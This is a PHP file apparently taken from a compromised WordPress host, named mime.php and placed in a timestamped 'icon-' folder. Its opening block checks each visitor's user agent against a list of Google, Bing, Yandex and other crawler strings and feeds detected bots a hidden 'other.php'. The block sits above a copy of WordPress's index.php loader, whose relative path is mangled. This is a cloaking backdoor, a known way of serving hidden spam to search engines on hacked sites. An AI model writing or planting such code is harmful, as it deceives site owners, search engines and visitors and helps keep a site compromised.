File "mime.php"
Full Path: /home/theinspectionboy/public_html/suffolk/icon-20250618074643/mime.php
File size: 2.11 KB
MIME-type: text/x-php
Charset: utf-8
<?php
$botKeywords = [
'bot',
'googlebot',
'bingbot',
'yahoo',
'baiduspider',
'yandex',
'duckduckbot',
'facebot',
'facebookexternalhit',
'ia_archiver',
'mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)',
'mozilla/5.0 (linux; android 6.0.1; nexus 5x build/mmb29p) applewebkit/537.36 (khtml, like gecko) chrome/113.0.5672.126 mobile safari/537.36 (compatible; googlebot/2.1; +http://www.google.com/bot.html)',
'mozilla/5.0 (compatible; adsbot-google/2.1; +http://www.google.com/adsbot.html)',
'mozilla/5.0 (linux; android 6.0.1; nexus 5x build/mmb29p) applewebkit/537.36 (khtml, like gecko) chrome/113.0.5672.126 mobile safari/537.36 (compatible; adsbot-google-mobile; +http://www.google.com/adsbot.html)',
'googlebot-image/1.0',
'googlebot-video/1.0',
'googlebot-news',
'mozilla/5.0 (iphone; cpu iphone os 12_2 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/12.0 mobile/15e148 safari/604.1 (compatible; googlebot/2.1; +http://www.google.com/bot.html)',
'mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/91.0.4472.124 safari/537.36 (compatible; googlebot/2.1; +http://www.google.com/bot.html)',
'mediapartners-google',
'google-site-verification',
'google-search-console',
'google-pagerank',
'google-web-preview',
'feedfetcher-google',
'adsbot-google'
];
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
if (empty($userAgent)) {
exit;
}
$isBot = false;
foreach ($botKeywords as $botKeyword) {
if (strpos($userAgent, $botKeyword) !== false) {
$isBot = true;
break;
}
}
if ($isBot) {
include 'other.php';
exit;
}
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);
/** Loads the WordPress Environment and Template */
require __DIR__ . '../../wp-blog-header.php';